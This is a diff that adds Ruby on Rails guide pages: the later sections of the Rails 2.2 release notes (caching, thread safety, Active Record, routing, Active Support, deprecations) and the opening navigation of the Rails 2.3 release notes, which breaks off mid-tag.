+    # If the request sends headers that differs from the options provided to stale?, then
+    # the request is indeed stale and the respond_to block is triggered (and the options
+    # to the stale? call is set on the response).
+    #
+    # If the request headers match, then the request is fresh and the respond_to block is
+    # not triggered. Instead the default render will occur, which will check the last-modified
+    # and etag headers and conclude that it only needs to send a &quot;304 Not Modified&quot; instead
+    # of rendering the template.
+    if stale?(:last_modified =&gt; @article.published_at.utc, :etag =&gt; @article)
+      respond_to do |wants|
+        # normal response processing
+      end
+    end
+  end
+
+  def show_with_implied_render
+    @article = Article.find(params[:id])
+
+    # Sets the response headers and checks them against the request, if the request is stale
+    # (i.e. no match of either etag or last-modified), then the default render of the template happens.
+    # If the request is fresh, then the default render will return a &quot;304 Not Modified&quot;
+    # instead of rendering the template.
+    fresh_when(:last_modified =&gt; @article.published_at.utc, :etag =&gt; @article)
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<h3 id="thread-safety">4 Thread Safety</h3>
+<p>The work done to make Rails thread-safe is rolling out in Rails 2.2. Depending on your web server infrastructure, this means you can handle more requests with fewer copies of Rails in memory, leading to better server performance and higher utilization of multiple cores.</p>
+<p>To enable multithreaded dispatching in production mode of your application, add the following line in your <tt>config/environments/production.rb</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+config.threadsafe!
+</pre>
+</div>
+</notextile>
+
+<ul>
+	<li>More information :
+	<ul>
+		<li><a href="http://m.onkey.org/2008/10/23/thread-safety-for-your-rails">Thread safety for your Rails</a></li>
+		<li><a href="http://weblog.rubyonrails.org/2008/8/16/josh-peek-officially-joins-the-rails-core">Thread safety project announcement</a></li>
+		<li><a href="http://blog.headius.com/2008/08/qa-what-thread-safe-rails-means.html">Q/A: What Thread-safe Rails Means</a></li>
+	</ul></li>
+</ul>
+<h3 id="active-record">5 Active Record</h3>
+<p>There are two big additions to talk about here: transactional migrations and pooled database transactions. There&#8217;s also a new (and cleaner) syntax for join table conditions, as well as a number of smaller improvements.</p>
+<h4 id="transactional-migrations">5.1 Transactional Migrations</h4>
+<p>Historically, multiple-step Rails migrations have been a source of trouble. If something went wrong during a migration, everything before the error changed the database and everything after the error wasn&#8217;t applied. Also, the migration version was stored as having been executed, which means that it couldn&#8217;t be simply rerun by <tt>rake db:migrate:redo</tt> after you fix the problem. Transactional migrations change this by wrapping migration steps in a <span class="caps">DDL</span> transaction, so that if any of them fail, the entire migration is undone. In Rails 2.2, transactional migrations are supported on PostgreSQL out of the box. The code is extensible to other database types in the future &#8211; and <span class="caps">IBM</span> has already extended it to support the DB2 adapter.</p>
+<ul>
+	<li>Lead Contributor: <a href="http://adam.blog.heroku.com/">Adam Wiggins</a></li>
+	<li>More information:
+	<ul>
+		<li><a href="http://adam.blog.heroku.com/past/2008/9/3/ddl_transactions/"><span class="caps">DDL</span> Transactions</a></li>
+		<li><a href="http://db2onrails.com/2008/11/08/a-major-milestone-for-db2-on-rails/">A major milestone for DB2 on Rails</a></li>
+	</ul></li>
+</ul>
+<h4 id="connection-pooling">5.2 Connection Pooling</h4>
+<p>Connection pooling lets Rails distribute database requests across a pool of database connections that will grow to a maximum size (by default 5, but you can add a <tt>pool</tt> key to your <tt>database.yml</tt> to adjust this). This helps remove bottlenecks in applications that support many concurrent users. There&#8217;s also a <tt>wait_timeout</tt> that defaults to 5 seconds before giving up. <tt>ActiveRecord::Base.connection_pool</tt> gives you direct access to the pool if you need it.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+development:
+  adapter: mysql
+  username: root
+  database: sample_development
+  pool: 10
+  wait_timeout: 10
+</pre>
+</div>
+</notextile>
+
+<ul>
+	<li>Lead Contributor: <a href="http://blog.nicksieger.com/">Nick Sieger</a></li>
+	<li>More information:
+	<ul>
+		<li><a href="http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-connection-pools">What&#8217;s New in Edge Rails: Connection Pools</a></li>
+	</ul></li>
+</ul>
+<h4 id="hashes-for-join-table-conditions">5.3 Hashes for Join Table Conditions</h4>
+<p>You can now specify conditions on join tables using a hash. This is a big help if you need to query across complex joins.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Photo &lt; ActiveRecord::Base
+  belongs_to :product
+end
+
+class Product &lt; ActiveRecord::Base
+  has_many :photos
+end
+
+# Get all products with copyright-free photos:
+Product.all(:joins =&gt; :photos, :conditions =&gt; { :photos =&gt; { :copyright =&gt; false }})
+</pre>
+</div>
+</notextile>
+
+<ul>
+	<li>More information:
+	<ul>
+		<li><a href="http://ryandaigle.com/articles/2008/7/7/what-s-new-in-edge-rails-easy-join-table-conditions">What&#8217;s New in Edge Rails: Easy Join Table Conditions</a></li>
+	</ul></li>
+</ul>
+<h4 id="new-dynamic-finders">5.4 New Dynamic Finders</h4>
+<p>Two new sets of methods have been added to Active Record&#8217;s dynamic finders family.</p>
+<h5 id="find_last_by_-em-attribute-em">5.4.1 <tt>find_last_by_<em>attribute</em></tt></h5>
+<p>The <tt>find_last_by_<em>attribute</em></tt> method is equivalent to <tt>Model.last(:conditions => {:attribute => value})</tt></p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# Get the last user who signed up from London
+User.find_last_by_city('London')
+</pre>
+</div>
+</notextile>
+
+<ul>
+	<li>Lead Contributor: <a href="http://www.workingwithrails.com/person/9147-emilio-tagua">Emilio Tagua</a></li>
+</ul>
+<h5 id="find_by_-em-attribute-em">5.4.2 <tt>find_by_<em>attribute</em>!</tt></h5>
+<p>The new bang! version of <tt>find_by_<em>attribute</em>!</tt> is equivalent to <tt>Model.first(:conditions => {:attribute => value}) || raise ActiveRecord::RecordNotFound</tt> Instead of returning <tt>nil</tt> if it can&#8217;t find a matching record, this method will raise an exception if it cannot find a match.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# Raise ActiveRecord::RecordNotFound exception if 'Moby' hasn't signed up yet!
+User.find_by_name!('Moby')
+</pre>
+</div>
+</notextile>
+
+<ul>
+	<li>Lead Contributor: <a href="http://blog.hasmanythrough.com">Josh Susser</a></li>
+</ul>
+<h4 id="associations-respect-private-protected-scope">5.5 Associations Respect Private/Protected Scope</h4>
+<p>Active Record association proxies now respect the scope of methods on the proxied object. Previously (given User has_one :account) <tt>@user.account.private_method</tt> would call the private method on the associated Account object. That fails in Rails 2.2; if you need this functionality, you should use <tt>@user.account.send(:private_method)</tt> (or make the method public instead of private or protected). Please note that if you&#8217;re overriding <tt>method_missing</tt>, you should also override <tt>respond_to</tt> to match the behavior in order for associations to function normally.</p>
+<ul>
+	<li>Lead Contributor: Adam Milligan</li>
+	<li>More information:
+	<ul>
+		<li><a href="http://afreshcup.com/2008/10/24/rails-22-change-private-methods-on-association-proxies-are-private/">Rails 2.2 Change: Private Methods on Association Proxies are Private</a></li>
+	</ul></li>
+</ul>
+<h4 id="other-activerecord-changes">5.6 Other ActiveRecord Changes</h4>
+<ul>
+	<li><tt>rake db:migrate:redo</tt> now accepts an optional <span class="caps">VERSION</span> to target that specific migration to redo</li>
+	<li>Set <tt>config.active_record.timestamped_migrations = false</tt> to have migrations with numeric prefix instead of <span class="caps">UTC</span> timestamp.</li>
+	<li>Counter cache columns (for associations declared with <tt>:counter_cache => true</tt>) do not need to be initialized to zero any longer.</li>
+	<li><tt>ActiveRecord::Base.human_name</tt> for an internationalization-aware humane translation of model names</li>
+</ul>
+<h3 id="action-controller">6 Action Controller</h3>
+<p>On the controller side, there are several changes that will help tidy up your routes. There are also some internal changes in the routing engine to lower memory usage on complex applications.</p>
+<h4 id="shallow-route-nesting">6.1 Shallow Route Nesting</h4>
+<p>Shallow route nesting provides a solution to the well-known difficulty of using deeply-nested resources. With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+map.resources :publishers, :shallow =&gt; true do |publisher|
+  publisher.resources :magazines do |magazine|
+    magazine.resources :photos
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>This will enable recognition of (among others) these routes:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+/publishers/1           ==&gt; publisher_path(1)
+/publishers/1/magazines ==&gt; publisher_magazines_path(1)
+/magazines/2            ==&gt; magazine_path(2)
+/magazines/2/photos     ==&gt; magazines_photos_path(2)
+/photos/3               ==&gt; photo_path(3)
+</pre>
+</div>
+</notextile>
+
+<ul>
+	<li>Lead Contributor: <a href="http://www.unwwwired.net/">S. Brent Faulkner</a></li>
+	<li>More information:
+	<ul>
+		<li><a href="http://guides.rubyonrails.org/routing.html#_nested_resources">Rails Routing from the Outside In</a></li>
+		<li><a href="http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-shallow-routes">What&#8217;s New in Edge Rails: Shallow Routes</a></li>
+	</ul></li>
+</ul>
+<h4 id="method-arrays-for-member-or-collection-routes">6.2 Method Arrays for Member or Collection Routes</h4>
+<p>You can now supply an array of methods for new member or collection routes. This removes the annoyance of having to define a route as accepting any verb as soon as you need it to handle more than one. With Rails 2.2, this is a legitimate route declaration:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+map.resources :photos, :collection =&gt; { :search =&gt; [:get, :post] }
+</pre>
+</div>
+</notextile>
+
+<ul>
+	<li>Lead Contributor: <a href="http://brennandunn.com/">Brennan Dunn</a></li>
+</ul>
+<h4 id="resources-with-specific-actions">6.3 Resources With Specific Actions</h4>
+<p>By default, when you use <tt>map.resources</tt> to create a route, Rails generates routes for seven default actions (index, show, create, new, edit, update, and destroy). But each of these routes takes up memory in your application, and causes Rails to generate additional routing logic. Now you can use the <tt>:only</tt> and <tt>:except</tt> options to fine-tune the routes that Rails will generate for resources. You can supply a single action, an array of actions, or the special <tt>:all</tt> or <tt>:none</tt> options. These options are inherited by nested resources.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+map.resources :photos, :only =&gt; [:index, :show]
+map.resources :products, :except =&gt; :destroy
+</pre>
+</div>
+</notextile>
+
+<ul>
+	<li>Lead Contributor: <a href="http://experthuman.com/">Tom Stuart</a></li>
+</ul>
+<h4 id="other-action-controller-changes">6.4 Other Action Controller Changes</h4>
+<ul>
+	<li>You can now easily <a href="http://m.onkey.org/2008/7/20/rescue-from-dispatching">show a custom error page</a> for exceptions raised while routing a request.</li>
+	<li>The <span class="caps">HTTP</span> Accept header is disabled by default now. You should prefer the use of formatted URLs (such as <tt>/customers/1.xml</tt>) to indicate the format that you want. If you need the Accept headers, you can turn them back on with <tt>config.action_controller.use_accept_header = true</tt>.</li>
+	<li>Benchmarking numbers are now reported in milliseconds rather than tiny fractions of seconds</li>
+	<li>Rails now supports <span class="caps">HTTP</span>-only cookies (and uses them for sessions), which help mitigate some cross-site scripting risks in newer browsers.</li>
+	<li><tt>redirect_to</tt> now fully supports <span class="caps">URI</span> schemes (so, for example, you can redirect to a svn+ssh: <span class="caps">URI</span>).</li>
+	<li><tt>render</tt> now supports a <tt>:js</tt> option to render plain vanilla javascript with the right mime type.</li>
+	<li>Request forgery protection has been tightened up to apply to <span class="caps">HTML</span>-formatted content requests only.</li>
+	<li>Polymorphic URLs behave more sensibly if a passed parameter is nil. For example, calling <tt>polymorphic_path([@project, @date, @area])</tt> with a nil date will give you <tt>project_area_path</tt>.</li>
+</ul>
+<h3 id="action-view">7 Action View</h3>
+<ul>
+	<li><tt>javascript_include_tag</tt> and <tt>stylesheet_link_tag</tt> support a new <tt>:recursive</tt> option to be used along with <tt>:all</tt>, so that you can load an entire tree of files with a single line of code.</li>
+	<li>The included Prototype javascript library has been upgraded to version 1.6.0.3.</li>
+	<li><tt>RJS#page.reload</tt> to reload the browser&#8217;s current location via javascript</li>
+	<li>The <tt>atom_feed</tt> helper now takes an <tt>:instruct</tt> option to let you insert <span class="caps">XML</span> processing instructions.</li>
+</ul>
+<h3 id="action-mailer">8 Action Mailer</h3>
+<p>Action Mailer now supports mailer layouts. You can make your <span class="caps">HTML</span> emails as pretty as your in-browser views by supplying an appropriately-named layout &#8211; for example, the <tt>CustomerMailer</tt> class expects to use <tt>layouts/customer_mailer.html.erb</tt>.</p>
+<ul>
+	<li>More information:
+	<ul>
+		<li><a href="http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-mailer-layouts">What&#8217;s New in Edge Rails: Mailer Layouts</a></li>
+	</ul></li>
+</ul>
+<p>Action Mailer now offers built-in support for GMail&#8217;s <span class="caps">SMTP</span> servers, by turning on <span class="caps">STARTTLS</span> automatically. This requires Ruby 1.8.7 to be installed.</p>
+<h3 id="active-support">9 Active Support</h3>
+<p>Active Support now offers built-in memoization for Rails applications, the <tt>each_with_object</tt> method, prefix support on delegates, and various other new utility methods.</p>
+<h4 id="memoization">9.1 Memoization</h4>
+<p>Memoization is a pattern of initializing a method once and then stashing its value away for repeat use. You&#8217;ve probably used this pattern in your own applications:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def full_name
+  @full_name ||= &quot;#{first_name} #{last_name}&quot;
+end
+</pre>
+</div>
+</notextile>
+
+<p>Memoization lets you handle this task in a declarative fashion:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+extend ActiveSupport::Memoizable
+
+def full_name
+  &quot;#{first_name} #{last_name}&quot;
+end
+memoize :full_name
+</pre>
+</div>
+</notextile>
+
+<p>Other features of memoization include <tt>unmemoize</tt>, <tt>unmemoize_all</tt>, and <tt>memoize_all</tt> to turn memoization on or off.</p>
+<ul>
+	<li>Lead Contributor: <a href="http://joshpeek.com/">Josh Peek</a></li>
+	<li>More information:
+	<ul>
+		<li><a href="http://ryandaigle.com/articles/2008/7/16/what-s-new-in-edge-rails-memoization">What&#8217;s New in Edge Rails: Easy Memoization</a></li>
+		<li><a href="http://www.railway.at/articles/2008/09/20/a-guide-to-memoization">Memo-what? A Guide to Memoization</a></li>
+	</ul></li>
+</ul>
+<h4 id="each_with_object">9.2 each_with_object</h4>
+<p>The <tt>each_with_object</tt> method provides an alternative to <tt>inject</tt>, using a method backported from Ruby 1.9. It iterates over a collection, passing the current element and the memo into the block.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+%w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase } #=&gt; {'foo' =&gt; 'FOO', 'bar' =&gt; 'BAR'}
+</pre>
+</div>
+</notextile>
+
+<p>Lead Contributor: <a href="http://therealadam.com/">Adam Keys</a></p>
+<h4 id="delegates-with-prefixes">9.3 Delegates With Prefixes</h4>
+<p>If you delegate behavior from one class to another, you can now specify a prefix that will be used to identify the delegated methods. For example:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Vendor &lt; ActiveRecord::Base
+  has_one :account
+  delegate :email, :password, :to =&gt; :account, :prefix =&gt; true
+end
+</pre>
+</div>
+</notextile>
+
+<p>This will produce delegated methods <tt>vendor#account_email</tt> and <tt>vendor#account_password</tt>. You can also specify a custom prefix:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Vendor &lt; ActiveRecord::Base
+  has_one :account
+  delegate :email, :password, :to =&gt; :account, :prefix =&gt; :owner
+end
+</pre>
+</div>
+</notextile>
+
+<p>This will produce delegated methods <tt>vendor#owner_email</tt> and <tt>vendor#owner_password</tt>.</p>
+<p>Lead Contributor: <a href="http://workingwithrails.com/person/5830-daniel-schierbeck">Daniel Schierbeck</a></p>
+<h4 id="other-active-support-changes">9.4 Other Active Support Changes</h4>
+<ul>
+	<li>Extensive updates to <tt>ActiveSupport::Multibyte</tt>, including Ruby 1.9 compatibility fixes.</li>
+	<li>The addition of <tt>ActiveSupport::Rescuable</tt> allows any class to mix in the <tt>rescue_from</tt> syntax.</li>
+	<li><tt>past?</tt>, <tt>today?</tt> and <tt>future?</tt> for <tt>Date</tt> and <tt>Time</tt> classes to facilitate date/time comparisons.</li>
+	<li><tt>Array#second</tt> through <tt>Array#fifth</tt> as aliases for <tt>Array#[1]</tt> through <tt>Array#[4]</tt></li>
+	<li><tt>Enumerable#many?</tt> to encapsulate <tt>collection.size > 1</tt></li>
+	<li><tt>Inflector#parameterize</tt> produces a <span class="caps">URL</span>-ready version of its input, for use in <tt>to_param</tt>.</li>
+	<li><tt>Time#advance</tt> recognizes fractional days and weeks, so you can do <tt>1.7.weeks.ago</tt>, <tt>1.5.hours.since</tt>, and so on.</li>
+	<li>The included TzInfo library has been upgraded to version 0.3.12.</li>
+	<li><tt>ActiveSuport::StringInquirer</tt> gives you a pretty way to test for equality in strings: <tt>ActiveSupport::StringInquirer.new("abc").abc? => true</tt></li>
+</ul>
+<h3 id="railties">10 Railties</h3>
+<p>In Railties (the core code of Rails itself) the biggest changes are in the <tt>config.gems</tt> mechanism.</p>
+<h4 id="config-gems">10.1 config.gems</h4>
+<p>To avoid deployment issues and make Rails applications more self-contained, it&#8217;s possible to place copies of all of the gems that your Rails application requires in <tt>/vendor/gems</tt>. This capability first appeared in Rails 2.1, but it&#8217;s much more flexible and robust in Rails 2.2, handling complicated dependencies between gems. Gem management in Rails includes these commands:</p>
+<ul>
+	<li><tt>config.gem _gem_name_</tt> in your <tt>config/environment.rb</tt> file</li>
+	<li><tt>rake gems</tt> to list all configured gems, as well as whether they (and their dependencies) are installed, frozen, or framework (framework gems are those loaded by Rails before the gem dependency code is executed; such gems cannot be frozen)</li>
+	<li><tt>rake gems:install</tt> to install missing gems to the computer</li>
+	<li><tt>rake gems:unpack</tt> to place a copy of the required gems into <tt>/vendor/gems</tt></li>
+	<li><tt>rake gems:unpack:dependencies</tt> to get copies of the required gems and their dependencies into <tt>/vendor/gems</tt></li>
+	<li><tt>rake gems:build</tt> to build any missing native extensions</li>
+	<li><tt>rake gems:refresh_specs</tt> to bring vendored gems created with Rails 2.1 into alignment with the Rails 2.2 way of storing them</li>
+</ul>
+<p>You can unpack or install a single gem by specifying <tt>GEM=_gem_name_</tt> on the command line.</p>
+<ul>
+	<li>Lead Contributor: <a href="http://github.com/al2o3cr">Matt Jones</a></li>
+	<li>More information:
+	<ul>
+		<li><a href="http://ryandaigle.com/articles/2008/4/1/what-s-new-in-edge-rails-gem-dependencies">What&#8217;s New in Edge Rails: Gem Dependencies</a></li>
+		<li><a href="http://afreshcup.com/2008/10/25/rails-212-and-22rc1-update-your-rubygems/">Rails 2.1.2 and 2.2RC1: Update Your RubyGems</a></li>
+		<li><a href="http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets/1128">Detailed discussion on Lighthouse</a></li>
+	</ul></li>
+</ul>
+<h4 id="other-railties-changes">10.2 Other Railties Changes</h4>
+<ul>
+	<li>If you&#8217;re a fan of the <a href="http://code.macournoyer.com/thin/">Thin</a> web server, you&#8217;ll be happy to know that <tt>script/server</tt> now supports Thin directly.</li>
+	<li><tt>script/plugin install &lt;plugin&gt; -r &lt;revision&gt;</tt> now works with git-based as well as svn-based plugins.</li>
+	<li><tt>script/console</tt> now supports a <tt>--debugger</tt> option</li>
+	<li>Instructions for setting up a continuous integration server to build Rails itself are included in the Rails source</li>
+	<li><tt>rake notes:custom ANNOTATION=MYFLAG</tt> lets you list out custom annotations.</li>
+	<li>Wrapped <tt>Rails.env</tt> in <tt>StringInquirer</tt> so you can do <tt>Rails.env.development?</tt></li>
+	<li>To eliminate deprecation warnings and properly handle gem dependencies, Rails now requires rubygems 1.3.1 or higher.</li>
+</ul>
+<h3 id="deprecated">11 Deprecated</h3>
+<p>A few pieces of older code are deprecated in this release:</p>
+<ul>
+	<li><tt>Rails::SecretKeyGenerator</tt> has been replaced by <tt>ActiveSupport::SecureRandom</tt></li>
+	<li><tt>render_component</tt> is deprecated. There&#8217;s a <a href="http://github.com/rails/render_component/tree/master">render_components plugin</a> available if you need this functionality.</li>
+	<li>Implicit local assignments when rendering partials has been deprecated.</li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def partial_with_implicit_local_assignment
+  @customer = Customer.new(&quot;Marcel&quot;)
+  render :partial =&gt; &quot;customer&quot;
+end
+</pre>
+</div>
+</notextile>
+
+<p>Previously the above code made available a local variable called <tt>customer</tt> inside the partial &#8216;customer&#8217;. You should explicitly pass all the variables via :locals hash now.</p>
+<ul>
+	<li><tt>country_select</tt> has been removed. See the <a href="http://www.rubyonrails.org/deprecation/list-of-countries">deprecation page</a> for more information and a plugin replacement.</li>
+	<li><tt>ActiveRecord::Base.allow_concurrency</tt> no longer has any effect.</li>
+	<li><tt>ActiveRecord::Errors.default_error_messages</tt> has been deprecated in favor of <tt>I18n.translate('activerecord.errors.messages')</tt></li>
+	<li>The <tt>%s</tt> and <tt>%d</tt> interpolation syntax for internationalization is deprecated.</li>
+	<li><tt>String#chars</tt> has been deprecated in favor of <tt>String#mb_chars</tt>.</li>
+	<li>Durations of fractional months or fractional years are deprecated. Use Ruby&#8217;s core <tt>Date</tt> and <tt>Time</tt> class arithmetic instead.</li>
+	<li><tt>Request#relative_url_root</tt> is deprecated. Use <tt>ActionController::Base.relative_url_root</tt> instead.</li>
+</ul>
+<h3 id="credits">12 Credits</h3>
+<p>Release notes compiled by <a href="http://afreshcup.com">Mike Gunderloy</a></p>
+      </div>
+    </div>
+  </div>
+
+  <hr class="hide" />
+  <div id="footer">
+    <div class="wrapper">
+      <p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p>
+      <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
+    </div>
+  </div>
+
+  <script type="text/javascript" src="javascripts/guides.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shCore.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushRuby.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushXml.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
+  <script type="text/javascript">
+    SyntaxHighlighter.all()
+  </script>
+</body>
+</html>
doc/guides/2_3_release_notes.html
@@ -0,0 +1,758 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+
+<title>Ruby on Rails Guides: Ruby on Rails 2.3 Release Notes</title>
+
+<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
+
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
+</head>
+<body class="guide">
+  <div id="topNav">
+    <div class="wrapper">
+      <strong>More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
+      <a href="http://rubyonrails.org/">Overview</a> |
+      <a href="http://rubyonrails.org/download">Download</a> |
+      <a href="http://rubyonrails.org/deploy">Deploy</a> |
+      <a href="http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/overview">Code</a> |
+      <a href="http://rubyonrails.org/screencasts">Screencasts</a> |
+      <a href="http://rubyonrails.org/documentation">Documentation</a> |
+      <a href="http://rubyonrails.org/ecosystem">Ecosystem</a> |
+      <a href="http://rubyonrails.org/community">Community</a> |
+      <a href="http://weblog.rubyonrails.org/">Blog</a>
+    </div>
+  </div>
+  <div id="header">
+    <div class="wrapper clearfix">
+      <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
+      <p class="hide"><a href="#mainCol">Skip navigation</a>.</p>
+      <ul class="nav">
+        <li><a href="index.html">Home</a></li>
+        <li class="index"><a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu">Guides Index</a>
+          <div id="guides" class="clearfix" style="display: none;">
+            <hr />
+            <dl class="L">
+              <dt>Start Here</dt>
+              <dd><a href="getting_started.html">Getting Started with Rails</a></dd>
+              <dt>Models</dt>
+              <dd><a href="migrations.html">Rails Database Migrations</a></dd>
+              <dd><a href="active_record_validations_callbacks.html">Active Record Validations and Callbacks</a></dd>
+              <dd><a href="association_basics.html">Active Record Associations</a></dd>
+              <dd><a href="active_record_querying.html">Active Record Query Interface</a></dd>
+              <dt>Views</dt>
+              <dd><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></dd>
+              <dd><a href="form_helpers.html">Action View Form Helpers</a></dd>
+              <dt>Controllers</dt>
+              <dd><a href="action_controller_overview.html">Action Controller Overview</a></dd>
+              <dd><a href="routing.html">Rails Routing from the Outside In</a></dd>
+            </dl>
+            <dl class="R">
+              <dt>Digging Deeper</dt>
+              <dd><a href="active_support_core_extensions.html">Active Support Core Extensions</a></dd>
+              <dd><a href="i18n.html">Rails Internationalization API</a></dd>
+              <dd><a href="action_mailer_basics.html">Action Mailer Basics</a></dd>
+              <dd><a href="testing.html">Testing Rails Applications</a></dd>
+              <dd><a href="security.html">Securing Rails Applications</a></dd>
+              <dd><a href="debugging_rails_applications.html">Debugging Rails Applications</a></dd>
+              <dd><a href="performance_testing.html">Performance Testing Rails Applications</a></dd>
+              <dd><a href="configuring.html">Configuring Rails Applications</a></dd>
+              <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd>
+              <dd><a href="caching_with_rails.html">Caching with Rails</a></dd>
+
+              <dt>Extending Rails</dt>
+              <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd>
+              <dd><a href="rails_on_rack.html">Rails on Rack</a></dd>
+              <dd><a href="generators.html">Creating and Customizing Rails Generators</a></dd>
+
+              <dt>Contributing to Rails</dt>
+              <dd><a href="contributing_to_rails.html">Contributing to Rails</a></dd>
+              <dd><a href="api_documentation_guidelines.html">API Documentation Guidelines</a></dd>
+              <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd>
+
+              <dt>Release Notes</dt>
+              <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd>
+              <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd>
+              <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd>
+            </dl>
+          </div>
+        </li>
+        <li><a href="contribute.html">Contribute</a></li>
+        <li><a href="credits.html">Credits</a></li>
+      </ul>
+    </div>
+  </div>
+  <hr class="hide" />
+
+  <div id="feature">
+    <div class="wrapper">
+      <h2>Ruby on Rails 2.3 Release Notes</h2>
+<p>Rails 2.3 delivers a variety of new and improved features, including pervasive Rack integration, refreshed support for Rails Engines, nested transactions for Active Record, dynamic and default scopes, unified rendering, more efficient routing, application templates, and quiet backtraces. This list covers the major upgrades, but doesn&#8217;t include every little bug fix and change. If you want to see everything, check out the <a href="http://github.com/rails/rails/commits/master">list of commits</a> in the main Rails repository on GitHub or review the <tt>CHANGELOG</tt> files for the individual Rails components.</p>
+
+            <div id="subCol">
+        <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
+        <ol class="chapters">
+<li><a href="#application-architecture">Application Architecture</a><ul><li><a href="#rack-integration">Rack Integration</a></li> <li><a href="#renewed-support-for-rails-engines">Renewed Support for Rails Engines</a></li></ul></li><li><a href="#documentation">Documentation</a></li><li><a href="#ruby-1-9-1-support">Ruby 1.9.1 Support</a></li><li><a href="#active-record">Active Record</a><ul><li><a href="#nested-attributes">Nested Attributes</a></li> <li><a href="#nested-transactions">Nested Transactions</a></li> <li><a href="#dynamic-scopes">Dynamic Scopes</a></li> <li><a href="#default-scopes">Default Scopes</a></li> <li><a href="#batch-processing">Batch Processing</a></li> <li><a href="#multiple-conditions-for-callbacks">Multiple Conditions for Callbacks</a></li> <li><a href="#find-with-having">Find with having</a></li> <li><a href="#reconnecting-mysql-connections">Reconnecting MySQL Connections</a></li> <li><a href="#other-active-record-changes">Other Active Record Changes</a></li></ul></li><li><a href="#action-controller">Action Controller</a><ul><li><a href="#unified-rendering">Unified Rendering</a></li> <li><a href="#application-controller-renamed">Application Controller Renamed</a></li> <li><a href="#http-digest-authentication-support"><span class="caps">HTTP</span> Digest Authentication Support</a></li> <li><a href="#more-efficient-routing">More Efficient Routing</a></li> <li><a href="#rack-based-lazy-loaded-sessions">Rack-based Lazy-loaded Sessions</a></li> <li><a href="#mime-type-handling-changes"><span class="caps">MIME</span> Type Handling Changes</a></li> <li><a href="#optimization-of-respond_to">Optimization of <tt>respond_to</tt></a></li> <li><a href="#improved-caching-performance">Improved Caching Performance</a></li> <li><a href="#localized-views">Localized Views</a></li> <li><a href="#partial-scoping-for-translations">Partial Scoping for Translations</a></li> <li><a href="#other-action-controller-changes">Other Action Controller Changes</a></li></ul></li><li><a href="#action-view">Action View</a><ul><li><a href="#nested-object-forms">Nested Object Forms</a></li> <li><a href="#smart-rendering-of-partials">Smart Rendering of Partials</a></li> <li><a href="#prompts-for-date-select-helpers">Prompts for Date Select Helpers</a></li> <li><a href="#assettag-timestamp-caching">AssetTag Timestamp Caching</a></li> <li><a href="#asset-hosts-as-objects">Asset Hosts as Objects</a></li> <li><a href="#grouped_options_for_select-helper-method">grouped_options_for_select Helper Method</a></li> <li><a 